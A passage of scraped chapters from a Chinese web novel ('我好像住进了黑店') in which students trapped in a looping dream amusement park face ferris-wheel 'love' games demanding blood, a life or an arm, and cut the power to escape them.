此时曾勇站起身来,作为在场唯一一个还能被吴樊祐的话煽动到的男人,握紧拳头,毅然说道: “每人放不到200毫升血,尚在安全值,已经是最优解了,男子汉有担当点,女生一人放100,男生一人放200,我体重估计最高,放个300就当献了一次血吧。” 曾勇似乎是想展示他的魄力,重新回到机器人前,一鼓作气将右手臂再次伸进黑洞中。 此时屏幕上重新出现那行文字: 【即将开始抽血,请保持好姿势,告诉我献血量。】 曾勇大喊道:“300毫升!” 随后机器人内部传来一阵响动,只见曾勇眉头轻轻一皱,似乎被什么扎了一下,与此同时,屏幕上的数字终于开始滚动,从0开始,一直上涨到300。 等到数字不再变动,机器人也没了动静,曾勇试探性从黑洞中收回手臂,只见手肘窝附近有一个针眼,鲜红的血液正在渗出,手臂上还留下拔针时溅射而出的血渍。 曾勇压住手肘窝,骂骂咧咧道:“这采血机器人也太不专业了,连止血的步骤都没有。” 禾苒看得眉头紧锁,声音微弱地问了句:“疼么?” 曾勇哈哈大笑两声,安慰:“还好,没太大感觉。” 白羽楠低声讥讽:“肯定没试炼塔中割手腕来得痛!” 禾苒显然听见了她的话,但没闲心与她争吵,便只是瞪了她一眼,随即成为第二个献血的人,献出了100毫升。 有人带头后,其他人也不再犹豫,依次上前报出献血量,然后任由机器人采血。 屏幕上的数字终于来到了800,如今只剩吴樊祐一个人还稳坐在座椅上,像个局外人一样看着众人忙活。 此时已经过了快二十分钟,他们已经上升到七十多米的高度,最多再过五六分钟,他们便会抵达顶点。 俞小澄向窗外望去,只见有几个通过顶点的座舱已经被染成了红色,黏糊的血浆爬满座舱玻璃,根本看不见舱内的景象。 “真的炸了……”俞小澄趴在窗玻璃上,声音颤抖地呢喃道。 其他人闻言也看了过来,然后顺着她的视线望去,无不是倒吸一口凉气。 曾勇最先回过神,朝吴樊祐走去,急声催促:“就剩你了,赶紧的。” 可吴樊祐坐直了身子,双手撑在大腿上,带着一脸玩味的笑问:“如果我说我不愿意呢?” “什么?你特么是不是有病?” 曾勇气势汹汹地上前,一把抓住了吴樊祐的领口,欲将人硬拉到机器人面前,吴樊祐瞬间抓住曾勇的手腕,二人同时发力,曾勇竟未能将人从座椅上拉起来。 俞小澄等人闻声转过头,才发现二人起了争执,看二人的表情,似乎是认真的。 张尧急忙跑过去,试图将二人分开,但以他的力气,根本撼动不了任何一个,只能干着急道:“我去,现在是打架的时候吗?再不快点搞定那1000克,大家都完蛋!” 曾勇骂道:“这小子打算害死我们!” 张尧诧异地望着吴樊祐:“不是吧,吴哥,这时候开玩笑呢?” 吴樊祐只是死死盯着曾勇,用力压制着曾勇的双手,似笑非笑地说:“我只是好奇,在规则影响下,你们谁会成为那个倒霉蛋。” 曾勇怒不可遏,挥拳就往吴樊祐脸上招呼,却被吴樊祐的手臂挡下,随后吴樊祐趁其不备突然起身,一头撞在了曾勇的面门,将其撞翻在地,鼻血直流。 整个座舱因为二人的打斗而摇摇晃晃,吓得三个女生连连叫停。 曾勇正在气头上,还欲起身再战,禾苒和白羽楠连忙尖叫着上前阻拦,而张尧也拦在了吴樊祐身前。 禾苒:“这就是你合作的诚意吗?” 吴樊祐:“呵呵,我有答应过与你们合作么?我只是跟随学姐罢了。” 白羽楠:“别闹了,没时间了!” 吴樊祐:“如果真着急,要不你们把我那份血出了?反正我不急,我这个人吧,挺怕疼的。” 张尧:“去你大爷的,吴樊祐,你是真疯了!” 曾勇:“别跟他啰嗦,小张,我们一起上,我就不信没人收拾得了他!今天爷爷教他做人!” 吴樊祐前一秒还一脸挑衅地朝曾勇招手,下一秒脸色就变了,他面色阴沉地高声吼道:“俞小澄!你干什么!” 所有人被他这一声吼叫吓得一哆嗦,此时众人才注意到,俞小澄已经站在机器人前,将手伸进了黑洞中,而屏幕上的数字也在稳步变化。 白羽楠第一个冲到了俞小澄身旁,想要将她的手拔出来,却因为俞小澄喊了声疼,而停下了手上动作。 “你干嘛帮那人渣献血!”白羽楠气愤地抱怨。 俞小澄只觉一阵心累,她不喜欢参与任何人的争吵,也不想去责备吴樊祐的拒绝。 也许吴樊祐有自己选择的理由。 她如此说服着自己,可她也有自己不得不选择的顾虑。 因此,与其浪费时间在说服他人这种事上,她宁愿选择做点自己能做的事,相较之下似乎简单得多。 200毫升血液注入,当前重量与目标重量达到了相同数值,俞小澄将手收回,站直身子时却感觉一阵晕眩,心跳不由得加速。 此前脚被尖刺穿透时,稍微流失了点血,如今又献血300毫升,身体有些吃不消,所以出现了明显症状,是身体向她发出的警告。 白羽楠一脸担忧地将她扶到座椅上坐下,从零食纸袋里找来一瓶矿泉水,拧开盖子递给俞小澄。 俞小澄喝了点水,闭着眼靠在椅背上休息,希望身体的失血症状能有所缓解。 很快,他们抵达了最高点,头顶的声音再度响起,带着一股失望的味道:“看来你们是真心相爱的,那么接下来的时间请享受快乐的二人时光,希望我们下次再见时,你们依然保持着这份真挚的感情不变!” 随着声音消失,机器人也被收回到地板下。 座舱内的气氛变得无比压抑,几乎所有人都自然而然地汇聚到俞小澄身旁,对吴樊祐开启了无视加排挤的模式。 吴樊祐一个人 81. 梦境(三) 《我好像住进了黑店》全本免费阅读 吴樊祐蜷缩在地上许久,俞小澄悔得肠子都青了,蹲到吴樊祐面前,又是诚心悔过,又是道歉,一脸担忧询问着。 吴樊祐一直埋着头,两只耳朵通红,声音沙哑地开口道:“学姐,咱有话好好说,能不能别直接动手……” 俞小澄手忙脚乱地解释:“真不是这个意思,我其实是想踩你脚来着。” 吴樊祐声音委屈道:“哎,你果然是讨厌我。” 俞小澄有种解释不清的无力感:“也不是讨厌……只是觉得说不过你……” “所以就动手?” “嗯……” “……” 又是一阵沉默后,吴樊祐挠了挠头,妥协一般抬起头来,脸上的红晕还未彻底消散,又得寸进尺地说道: “什么歪理……行吧,不是讨厌我就好。那你是不是该为你的行为做出些补偿?” 俞小澄有些茫然,简直想不通怎么把自己搞成了罪人,明明几分钟前是吴樊祐无理取闹,她不过抬了抬脚,就得为自己的行为做出补偿。 她仔细在脑中复盘,最后只能一拍大腿,全怪自己的脚,无奈问道:“你要什么补偿。” 吴樊祐扶着腰站起身,脸上带着奸计得逞的笑。 “很简单,站在这里不许动,让我想想足以说服你的借口,刚才思绪被你那一脚全踹飞了。” 俞小澄有些听不懂他在说什么,可还是老实地站起身,待在原地没动。 然而她不动,吴樊祐却动了,一步步靠近,近到让人条件反射想要攻击的地步,可她手还未抬起,吴樊祐的胳膊已经将她整个人环绕,双手在她背上轻轻一带,便让她撞进了温暖的怀抱。 一瞬间,俞小澄的脑中一片空白,只感觉吴樊祐的胸口一阵起伏,头顶传来轻微的叹气声,吴樊祐带着歉意说道:“对不起,刚才是骗你的,这才是补偿。” 俞小澄感觉自己快被蒸熟了,故作镇定地骂道:“我看你是想再挨一脚!放手!” 吴樊祐闻言非但没有收敛,还将下巴压在了俞小澄的头顶上,甚至发出一阵轻笑:“哈哈,别动手,我是真被你踢出内伤了,有些站不稳,让我靠着休息一会儿都不行吗?” 虽然他的话中听不出一丝反省之意,可还是让俞小澄本来已经举起的拳头悬在了半空中,犹豫半晌,又心软地垂了下去。 不知为何,她有种错觉,好像吴樊祐是真的累了。 “你最好是真的站不稳。” 俞小澄努力调整着呼吸,害怕被吴樊祐听到自己如同擂鼓的心跳,嘴里还不忘威胁道。 “不然呢?” “不然……” 俞小澄愣了一下,她不过是虚张声势罢了,被突然一问,一时想不出自己有什么办法对付吴樊祐。打是肯定打不过,自己根本没有能够威胁吴樊祐的筹码。 最后只能胡乱编道,“不然我就诅咒你!” “诅咒我什么?” “你怕什么,我就诅咒什么。” 不过是句毫无战斗力可言的置气话,可偏偏吴樊祐听后身子明显僵住,慢慢放开手,往后退了两步,嬉皮笑脸地看着俞小澄,认输道:“我错了,别生气,开个玩笑。” 开你妹的玩笑啊! 俞小澄红着脸,气恼地瞪着吴樊祐。 吴樊祐赶紧转移话题道:“啊,我想到了,能说服你的借口。” “哈?你到底在为啥事找借口?”俞小澄忍着怒气问道。 “呵呵,就是不能说才找借口啊……”吴樊祐的脸上露出一丝无助感,然后指天发誓,“不管我说什么,做什么,都绝无伤害学姐的想法。” 俞小澄一直觉得吴樊祐的心里藏着什么事,那是她如何都看不清的,而吴樊祐似乎也根本不打算告诉她。听着吴樊祐莫名其妙的话,她只是微微叹了一口气,妥协道:“那说说看吧,你的借口,看能不能说服我。” “嗯。”吴樊祐又露出一脸人畜无害的笑,“你有没有想过下次再乘上摩天轮,遇到相同的难题怎么办?” 霎时间,俞小澄感觉脸上挨了一巴掌,事发突然,她确实没来得及多想。 如果下次又要他们“献血”该怎么办? 这个现实到可怕的问题瞬间击溃了俞小澄自以为是的仗义,再来一轮,就算吴樊祐同意跟着他们一起“献血”,有几个人受得了? 一轮之后又来一轮呢? 靠这个办法他们根本活不到梦境时间结束,不,连第一天都撑不过去。 这一瞬间,她感觉自己将众人带上了绝路。 难道真的只能按照吴樊祐说的办法,拯救少数人吗? 谁生谁死,由天决定吗? “万、万一呢?万一游戏变了呢?”俞小澄自欺欺人地反驳。 吴樊祐心平气和地提议:“任何事都有可能发生,要不我们打个赌,如果下次游戏没变,你就听我的,不许用血换平安!” 俞小澄犹豫了片刻,才回应:“那如果下次游戏变了,你能答应我,与大家齐心协力吗?” “可以!” “那成交……” 俞小澄不知道定下这样的赌约对不对,只能寄希望于自己没那么倒霉,虽然连她自己都不相信自己能有什么好运气。 就在二人交谈时,耳边突然传来倒计时即将结束的提示音,随着最后一声嘟嘟响起,俞小澄又一次回到了乐园门前。 第十轮循环开始。 “我拒绝跟不配合的人一起乘坐摩天轮!” 这一次,大伙刚刚集合,禾苒就率先抛出了难题。 对于吴樊祐拒不配合差点害死众人的事,除了俞小澄,所有人都心有芥蒂,虽然没有开口表示支持禾苒,可没有人出来打圆场,足以证明他们心中的天秤已经开始倾斜。 “其实,就算我们坐上摩天轮,也只能被迫参与恶灵那故意刁难的游戏,根本就没机会找恶灵的线索。”白羽楠小声嘀咕。 白羽楠虽然不喜欢禾苒,可就事论事,摩天轮比打卡的危险性更高,不禁让她心生退意。她看了看张尧,毕竟与自己组队的是张尧,她没法一个人决定两个人的事。 张尧同样心内纠结,看了看吴樊祐,又看了看俞小澄,似乎一时有些拿不定主意。 “不管走哪一边,我们好像都难以活到最后……才过了十八小时,一天都还没过完……”张尧的声音听上去有些丧气。 此话一出,在场众人被这种负面情绪影响,全都变得悲观起来,突然的噤声让整个气氛愈发压抑,似乎谁都看不到离开 82. 梦境(三) 《我好像住进了黑店》全本免费阅读 四人结伴再次来到摩天轮,排队通道里的人无甚改变,俞小澄向招财进宝确认可疑的情侣是哪一对,然而得到的答案是: “每次那对情侣好像都是第一个入场,喏,这会儿坐在编号为3的座舱里的那两个人就是,今日幸运数字我们也去看了,正是3。” 在这个答案的加持下,那对情侣便显得更可疑了,此时他们一致认定,恶灵就藏在这两人之中。 “会是谁呢?”白羽楠张望着3号座舱里的人影。 “不知道,恶灵不会自曝身份,揪出商先生也只是靠线索推测,并无直接性证据,最后还是他自己沉不住气。”俞小澄心里有些没底。 张尧说:“总之,先抓两人问话,说不定会有线索。” NPC的记忆重置后,工作人员对俞小澄等人也没有纠缠,加之此次少了禾苒和曾勇这一对,便少了怀疑和另外出题的环节,四人二十来分钟后顺利进入座舱。 那对可疑情侣每次都是第一个入场,这对俞小澄等人很不利,他们没办法赶在情侣乘上摩天轮前将人拦下,便只能等到摩天轮转完一圈后的最后十分钟,追上那对情侣。 因此,现在摆在他们面前的难题,是摩天轮的要命游戏。 等到首轮淘汰结束,他们也迎来了第二场游戏。 随着欢快的音乐响起,头顶的声音再度出现,同样带着令人讨厌的俏皮味。 “欢迎各位再次光临我的乐园,接下来请各位跟我玩个游戏,证明彼此真心。” 听到这个声音,张尧和白羽楠的第一反应是看向吴樊祐,眼神中流露出对吴樊祐的不信任,张尧面色阴沉地警告道:“你小子要是再找麻烦,别怪我们不客气!” 吴樊祐不屑一顾地回应:“呵,那要看游戏是什么,是否配合跟你们没关系,这是我与学姐的赌约。” “赌?赌什么?”张尧问。 “不关你的事。”吴樊祐微笑着回答,可眼中没有一丝笑意,“还有,你喊谁小子呢?” “吴、吴哥……”张尧扶了扶眼镜,面露一丝胆怯,连曾勇都制服不了的人,一旦起了冲突,就他这小身板根本没有胜算,只得忍气吞声。 吴樊祐的视线从张尧身上移开,注意力集中在头顶的声音上,期待着与俞小澄打赌的结果。 头顶的声音兴致勃勃地宣布道: “本次我为你们精心挑选的游戏是「为心爱的人献出生命」!请务必在座舱抵达顶点前,共同做出决定——谁为你们的爱情去死?” “什么鬼?!献出生命?”白羽楠难以抑制心中恐惧,游戏名从献出鲜血直接变成了献出生命,怎么听怎么不吉利。 头顶的声音消失,玻璃舱门上出现一个显示屏,显示屏上有两双红色的手掌印排成一行,而手掌印的下方,正展示着关于游戏规则的提示文字: 【当前人数:偶数】 【目标人数:奇数】 【两人同时点亮掌印,舱门开启,一旦监测到有人走出,舱门将会立即关闭。】 “这次是要我们选一个人……死?”张尧看着屏幕上的字,神色紧张地咽了咽口水。 吴樊祐一副事不关己的模样,悠哉地坐在座椅上,正从果盘里挑选着想吃的水果,像是怕别人看不懂规则一样,贴心解释:“这道题是想让情侣之中有一个人甘心赴死,只要有一个人不愿意,那舱门就打不开,大家都得等死。” 白羽楠看着吴樊祐那副置身事外的模样,就觉得心里有火,气呼呼地走到吴樊祐面前,双手交叉抱臂,冷眼俯视。 “你还是担心担心你自己吧!” “哦?怎么?你们是打算打开舱门,强行把我推出去?”吴樊祐斜靠在椅背上,饶有兴致地打量着白羽楠。 白羽楠虚张声势道:“也不是不可以,毕竟我们六只手,用不着你同意,我们也能打开舱门。” “呃……那个……小楠姐……”张尧挠着头,扯了扯白羽楠的袖子。 “干嘛?我正教训这小子呢……”白羽楠晃了晃身子,摆脱张尧的拉扯,低声责备。 张尧无奈一声叹息,手指指向自己,问:“虽然但是,你不会指望我把那家……吴哥扔出舱门吧?我怕会被他扔出去……” 白羽楠本想反驳,可仔细想想,俞小澄大概不会帮忙,以她与张尧两人之力,恐怕很难威胁到吴樊祐。 “完了……难怪他有恃无恐的样子……”白羽楠感觉有些站不稳,踉踉跄跄地走到吴樊祐对面坐下,一脸苦闷地嘀咕着。 张尧苦笑两声,道:“就算我们真打得赢,难道还真要把这小……吴哥扔下去不成?” 白羽楠吐了一口闷气,表情无奈地说:“我就看着他心烦,随便说说吓吓他而已。” “哦,有被吓到,谢谢!”吴樊祐敷衍地回了句。 此时只有俞小澄一直站在门边,像只壁虎一样趴在玻璃上,努力观察着座舱外的情况。 吴樊祐见状,笑着唤了她一声:“学姐,打赌你虽然赢了,可这个游戏我就是想配合也配合不了啊,你总不会是想让我配合出局吧?” “小澄姐让你配合出局,你就肯配合出局么?真好笑,你是这种人么你?”白羽楠趁机挖苦道。 吴樊祐冷笑道:“如果学姐真要我配合出局,那我立马自己开门自己跳好吧!” “不用你配合出局,我有办法!”俞小澄突然转过头,表情认真地说出这一句,然后急切地跑过来拉住白羽楠就往门边跑,嘴里喊道,“别愣着,帮我把门打开!” 三人被她这突如其来的一句话吓到,不知她究竟有何打算,白羽楠弱弱地问道:“小澄姐……你是想帮忙把吴小子推下去?我真就开个玩笑,你别当真。” “不是!开门先!”俞小澄顾不上解释,只能催促道。 白羽楠虽然一头雾水,但还是听从俞小澄的指示,两人同时将手掌贴到了屏幕手掌印上,被她们压住的手掌印立刻从红色变为了绿色。 只听“喀嚓”一声响动,舱门向两边开启,一阵风扑面而来。 俞小澄小心翼翼地将头探出门外,用眼睛测量着座舱高度,然后半蹲着身子,两腿颤颤巍巍地往外挪动脚步,心一横,就要往下跳。 可是有人比她反应还快,她刚一腾空,就被拦腰抱住。 只见吴樊祐一手撑在玻璃上,一手死死环在她腰间,拖着她往舱里退了一步,才松开手,一个侧身换位,高大的身影便在门边挡住了她的去路。 吴樊祐脸上表情从恐惧到愤怒,高声吼道:“俞小澄,就算你感觉现在高度不算太高,可四五米的高度跳到水泥地上,也是会骨折的!我配合出局行了吧?你干嘛逞能!”< 83. 梦境(三) 《我好像住进了黑店》全本免费阅读 问题刚问出口时,俞小澄就意识到自己的天真,除非是名人,仅问名字能问出什么有用的消息? 可是两人的回答又将这份后悔变成了惊喜。 她感觉不久前自己刚听过这两个姓氏同时出现在一个故事中,一个发生在游乐园的情侣感情纠葛,而如今,依然是这两个姓氏的情侣,出现在以现实游乐园为原型创造的梦境中。 会不会太凑巧了点? “所以,你认识我们?”唐哲上下打量着眼前的陌生人。 一个念头在俞小澄脑海浮现,驱使她试探性问道:“你们是不是图安医科大学的学生啊?呵呵,我好像在学校里看见过你们。” 唐哲大方承认:“没错,莫非是校友?” “嗯……我大几届……”为了探听更多,俞小澄只能硬着头皮撒谎。 “那可真是巧了,没想到还能在这儿遇上学姐,幸会幸会,不知学姐贵姓,哪一届,哪个专业的啊?”唐哲客套地向她伸出手,脸上露出和善的笑,直勾勾地盯着俞小澄,多问了几句。 这下可把俞小澄难住了,看着唐哲的手,握也不好,不握也不好,一时想编谎话都无从编起,支支吾吾半天说不出一个字,急得额头直冒冷汗。 “学姐可不兴乱叫。” 一声满是怒意的嚷嚷从唐哲身后传来,俞小澄心中顿时欣喜万分,只觉救星登场。然后,她看着吴樊祐正怒气冲冲走过来,瞬间又感觉大事不妙。 吴樊祐的眼神并不友善,凛冽得如同隆冬时的寒风,仿佛稍不注意,就会留下一道伤口。他气势汹汹地走到俞小澄身前,挡在了她与唐哲之间。 气氛因他的出现异常尴尬起来。 唐哲有种被冒犯的不爽,尴尬地收回手,嘴角抽搐着发出狞笑,嘴里骂道:“谁啊你,这么没教养。” 身旁沉默许久的魏含英急忙拉住唐哲的胳膊,将人往后拽,试图阻止一场即将发生的斗殴。 吴樊祐反手掸了掸衣服上不存在的灰尘,一字一句地说道:“我学姐只有一个学弟,想套近乎,你不配。女朋友就在身边,还管不住自己?我倒是不介意教你如何做个人。” 俞小澄不由得皱起了眉,本想出言劝阻,可转念一想,伸出的手就僵在了半空中,弱弱地问了句:“你打得过吗?” 吴樊祐始终盯着唐哲,看都不看俞小澄一眼,心中似乎还有怨气,语气冰冷地回道:“反正你也信不过我。” 俞小澄被他呛得微微一怔,感觉有点引火烧身的味道,赶紧闭了嘴,默默退到一旁。恰好此时白羽楠和张尧也跑了过来,一边关心她有没有受伤,一边询问如今是怎么个情况。 俞小澄没有回答,只是拉着他们隔岸观火。 在她看来,恶灵必定就在那两人之间,如果恶灵就是唐哲,让吴樊祐动手试试他的弹性,兴许能逼他露出马脚。 所以,你会怎么做呢?乖乖挨打吗? 俞小澄心中暗暗自语,视线紧紧跟随在剑拔弩张的两人身上。 唐哲显然觉得很没面子,一副摩拳擦掌强行挽尊的模样,对于魏含英的阻拦视若无睹,一心只扑在打倒对手身上。 看着唐哲上蹿下跳始终不前,吴樊祐有些不耐烦,冷着一张脸,迎面走上前,抬手握拳就往唐哲脸上招呼,唐哲大惊,赶紧竖起胳膊抵挡。 俞小澄感觉心脏漏跳几拍,眼看两只手就要撞上,耳边忽然响起嘟嘟一声,一眨眼的功夫,她回到了乐园门外。 入口处的排队通道依然排满了游客,紫藤花下的检票口仍旧只对少部分人开放,蝉鸣的节奏始终没有改变过,而新的一轮循环又开始了。 其余人如常向她靠拢,禾苒与曾勇跑来第一句话就问:“怎么回事?倒计时还没结束怎么就循环了?” 张尧面色凝重:“恶灵发动技能了。” 禾苒疑惑:“怎么会突然发动技能了?你们查出什么了吗?” 俞小澄如实相告,基本已经可以锁定恶灵就在那对情侣之中,只是暂时她没办法分清谁是,所以想借着吴樊祐闹事,探一探恶灵的底细。 随后,她又将那对情侣的名字告诉了众人。 吴樊祐一副恍然大悟的模样:“原来跟你搭话的是那对可疑情侣啊。” 俞小澄愕然一惊:“嗯?你不知道么?我以为你知道才故意找茬喃……” “我单纯看他不爽罢了。”吴樊祐摸摸后脑勺,傻笑道,忽然又想起什么,立马收回笑容,一脸严肃地扭头不看俞小澄,嘴里念叨,“你下回再敢往外跳,我就不跟你去摩天轮了。” 忽然间,俞小澄好像明白吴樊祐在气什么了,笑着解释道:“当时没有更好的办法,我不是安然无恙么?” 吴樊祐并不买账,一言不发生着闷气,偶尔偷偷瞄一眼俞小澄,不小心被发现,又慌张地转移视线,装出一副若无其事的模样。 见自己给的台阶对方不愿意下,俞小澄无奈叹道:“实在不行,下回你跟禾苒去打卡吧,我找曾勇帮忙。” 曾勇爽快答应:“也行。” “那不行!”吴樊祐气得满脸通红,高声吼道,看着俞小澄看似满不在乎的模样,有种被抛弃的破碎感,语无伦次地说着歪理,“他、他VIP门票都用掉了,怎么跟你扮情侣?” 曾勇立马从衣兜里拿出门票抖了抖,说:“放心,没用嗷,上回本来就是VIP客人身份,我和小禾留了个心眼,就把门票留下了。” “没人问你。”吴樊祐瞪了曾勇一眼,咬牙切齿地说。 张尧趁机火上浇油,道:“我看也行,我反正不喜欢上了摩天轮还要受人威胁。” 白羽楠立马附和道:“没错,勇哥看起来靠谱多了。” 在回击吴樊祐这件事上,他们似乎是达成了共识,都恨不得把之前受的气全报复回去。 可惜吴樊祐根本不将他们的话放在心上,只是呆呆地看着俞小澄,满脸写着委屈,感觉一副快要哭出来的样子,让人忍不住心软,可下一秒他说出的话却让在场众人脸色大变,纷纷闭了嘴。 他用一脸人畜无害的可怜样,说出了令人毛骨悚然的话:“学姐不会真打算抛下我不管吧?你不盯着我,我指不准做出什么事来,兴许就提前帮你们结束这一天了。” “你、你是在威胁我吗?”禾苒打了个冷颤,看向吴樊祐的眼神充满警惕,就像是小动物预感到危险的直觉,她总感觉吴樊祐不是在开玩笑。 俞小澄惊得瞪大了眼,一股陌生感再度袭来,让她怯懦地低声回应道:“那、那我还是盯着你吧……” 这样的吴樊祐让她感到一阵寒意,如同蚂蚁一般,密密麻麻爬满全身,不知为何,她没由来地心惊胆颤,丝毫没有怀疑吴樊祐话中 84. 梦境(三) 《我好像住进了黑店》全本免费阅读 当六人坐上摩天轮,新的一轮游戏重新开始,这一次的游戏名为「为心爱的人献出手臂」。 同样有个圆筒状的机器人出现在座舱中,这一次,看不清内部的黑洞出现在机器人头顶,黑洞的边缘一周可以明显看到锯齿。 机器人身前的屏幕上写着令人不安的文字: 【当前手臂数:0】 【目标手臂数:1】 “开……开玩笑的吧……”白羽楠盯着洞口一圈锯齿,不由自主摸了摸手臂,光是想一想都感觉疼。 对于这样的局面,谁也没有想到,在这密闭的空间内,似乎也找不到投机取巧的办法,而他们的生命将只剩下半个小时。 座舱内的人坐立不安,张尧甚至考虑能不能砸了玻璃,挂在座舱外,以此逃避座舱内全员爆炸的惩罚。 这个想法虽然不错,可惜实施起来难度太大,且不说玻璃靠徒手能不能砸破,要想挂在座舱外不跌落也是脱离现实的存在。 张尧的想法被否决后,舱内陷入无声的恐慌和绝望,似乎某个人的牺牲已经成了定局,只要谁站出来献祭一只手臂,大家便可平安度过此次危机。 可是,谁愿意牺牲自己? 原本感觉慢如龟速的摩天轮,如今在众人眼中,每走一秒都是催命的倒计时。 面对死亡的恐惧时,通常人会变得自私,于是想要让某个对自己来说无关紧要的人替自己去死的想法,在阴暗处滋生、壮大,直至寻求盟友,排挤那个最容易被孤立的人。 禾苒便是这样的人,焦虑让她背靠在舱门边,尽力保持着与机器人的距离,然后向一潭死水中抛出了一颗石子。 她说:“别浪费时间了,再等下去大家都会死,不如投票吧。” 没有人接话,就算心中想要赞同禾苒的想法,也不会立即表现出来,因为一旦说出口,仿佛自己就成了恶人。 “投票让谁死……是不是有点过分了……”俞小澄小声嘀咕。 若是放在过去,她一定会担心自己成为被孤立的那一个,可现如今情况不一样了,因为招财进宝的存在,眼下这群人都指望靠她离开旅店,怕是谁也不会把票投到她头上。 反观吴樊祐,大学时众星捧月的存在,到了这里却一口气把人全得罪了,若是真投票,她真不敢想会有几票挂在吴樊祐头上。 禾苒对俞小澄的反应不屑一顾,反问:“你想当善人我没意见,但好歹拿出个方案,不想当恶人,难道指望难题自己把自己解了?” 俞小澄被怼得哑口无言,就像真做了什么错事似的,不争气地红了脸。 “你倒挺会转嫁矛盾。”吴樊祐懒洋洋地伸展身子,“知道你在打什么主意,可我劝你别白费心机,就算你撺掇所有人投我,你觉得我能束手就擒?” 禾苒被吴樊祐盯得有些心虚,本意是想联合其他人一起针对吴樊祐,可没人敢发声,她这戏也唱不下去,隐忍地回了句:“那你有什么高见?” 吴樊祐微微一笑,指了指天,说:“我不是说过了吗?我就想试试看,等到了顶点,谁会成为那个倒霉蛋,这不是最优解吗?淘汰谁,不如让上天决定。” 一时没有人反驳,似乎事到如今,真的只有这一条路可行。 当然,有人走向阴暗,便有人面向光明,曾勇突然挺身而出,打算做上一回无私的人。 “我来吧,断一臂总好过死一人。”曾勇一脸视死如归的大无畏表情,说着撸起了袖子。 张尧忍不住起身阻拦,冷静分析道:“这机器人可以断臂,却不一定会止血啊,上回献血不就是只管抽血么?这可不是闹着玩儿的,会出人命!” “这……不能吧……”曾勇刚鼓起的勇气,瞬间泄了气。 吴樊祐冷笑道:“你电视剧看多了吧?你要真想试,我也不拦着。” “我……”曾勇一时语塞,再说不出豪言壮语,本以为咬咬牙就过去了,谁知道可能咬咬牙人就真过另一个世界去了,这他哪点还敢逞英雄。 不过,对于曾勇的好心,俞小澄很是惊讶,没想到来到穷途旅店的人里,还有舍得牺牲自己的人存在。 这不禁让她好奇,一个愿意为他人做出牺牲的人,能有什么罪? 一番争吵后,听天由命竟成了唯一的出路,座舱内的人心神不宁地等待着座舱抵达顶点,仿佛认命了一般,放弃了挣扎。 就在他们争论时,时间正一点一点流逝,座舱升至半空,距离顶点也不过十分钟的距离。 摩天轮上,血染座舱的惨剧每过几分钟就会上演一次。座舱内欢快的音乐吵得人心烦意乱,有人焦躁地在舱内打转,有人绝望又害怕地坐在座椅上发抖,也有人双手合十祈求上苍。 只要不是自己就好。 这种侥幸心理成了众人唯一的救赎。 招财和进宝一直围着俞小澄打转,看上去比俞小澄更加心慌,纷纷替俞小澄出谋划策,可说出的方案一个能用的都无。 招财:“姐姐,要不你跳下去吧,跟上次一样,我和进宝拉着你。” 俞小澄:“呃……现在的高度非死即残,再说,舱门开不了,都是白谈。” 进宝:“要不还是骗个人去献手臂吧!” 俞小澄:“现在只有傻子才会上当吧……” 招财:“要不我和进宝到前面去推座舱,让速度再慢些。” 俞小澄:“你们又不是什么超级英雄,哪儿拦得下电力制动的机器……等等……电力!” 俞小澄突然从座椅上跳起来,脑袋贴到玻璃上,努力向外张望。 她的举动吓了身旁的白羽楠一跳,看她惊慌的模样,白羽楠一脸担忧地问道:“小澄姐?你怎么了?” 招财进宝也是一脸茫然地盯着俞小澄,担心她被难以逃脱的现状吓傻了。 一丝微弱的光照进俞小澄心里,那是一个大胆的想法,虽不能解决根本问题,但是能让所有人都活下去。 她难以抑制内心的惊喜,回过头,语气激动地问众人:“如果将摩天轮的电源关闭,是不是我们就不用接受惩罚了?” “哈?你在说什么鬼话呢?电源跟惩罚有什么关系……” 禾苒本就满心焦虑,再听俞小澄说起莫名其妙的话,心里更是烦躁,于是说话的语气也没那么客气。 张尧第一时间听懂了俞小澄想表达的意思,摸着下巴思索片刻,脸色瞬间有了活力,点头赞同道:“可行!电源关闭,摩天轮失去动力,我们就到不了顶点,不到顶点就不算游戏终止!” “啊!”白羽楠也终于听懂了话中逻辑关系,“你是想让游戏规则无法生效?” 禾苒收敛起烦躁的负面情绪,给众人提了个醒:“理论上没问题,可中断游戏进程并不代表结束游戏啊。” 俞小澄没有否认,坦言道:“嗯,没办法结束,我们会被困在摩天轮上。” 禾苒冷哼一声,质疑:“那有什 85. 梦境(三) 《我好像住进了黑店》全本免费阅读 自从发现了利用电源卡bug的逃课之路后,俞小澄等人勉强算是踏入了进可攻退可守的门槛。 不必为首轮淘汰而惶恐,不用为打卡而四处奔波,更不用被迫选择牺牲谁来换取平安……循环仿佛进入了一种毫无波动的稳定状态,只要静静撑过剩下的三十七轮循环,便可离开梦境。 日子一旦过得风平浪静,人就会不自觉地想要追求更具挑战的东西。 他们的终极目标始终都是离开穷途旅店,而不仅仅是结束梦境,所以他们始终在寻找一个机会,一个可以靠近唐哲的机会。毕竟,唐姝还没有放弃,一次又一次地站在摩天轮出口处,等待着与二叔重逢的日子。 这个机会他们足足等了五轮。 经历了「献上双眼」「献上头颅」「献上心脏」「献上十指」「献上恋爱脑」一系列人体解剖系反人类游戏后,他们进入了第十七轮循环,这一次的游戏名是「为心爱的人献上你的胃」。 听着头顶声音报出游戏名后,对人体解剖已经麻木的众人不约而同瘫坐在座椅上,放弃任何思考,直接投票“停电,下一个”。 可这回出现在他们面前的不是机器人,而是一张摆满汉堡的金属包边玻璃桌子。 桌面玻璃是一整块显示屏,投射出三行发光的文字: 【当前汉堡数:15个】 【目标汉堡数:0个】 【数据由房间系统检测提供,请将食物放进您的胃中。】 张尧从桌子上拿了一个汉堡,忍不住笑道:“原来是这种胃啊,差点误会了。” 曾勇说:“机会啊,15个汉堡而已,我们6个人,男生吃3个,女生吃2个,不就解决了么!” 白羽楠拿了一个汉堡,没有吃,而是偷偷放进了俞小澄的帽子里,然后看了看屏幕上的文字,当前汉堡数依然是15个,没有丝毫变化。 “看来是真得吃进胃里,藏起来不管用,还是会被检测出来。”白羽楠失望地说道。 禾苒也拿起一个汉堡,打开包装纸,仔细查看了一番,又放到鼻下闻了闻味道,谨慎地问道:“不会有毒吧?” 吴樊祐没说话,拿起一个直接啃了起来,边吃还边评价:“味道还行,有可乐就更好了。” 难得来了道福利题,众人也不再多言,开始解决起自己负责的汉堡部分。 俞小澄以前吃汉堡总嫌某些汉堡做得太小,今天倒是无比庆幸汉堡没做得太良心,否则她这胃是真的顶得慌。 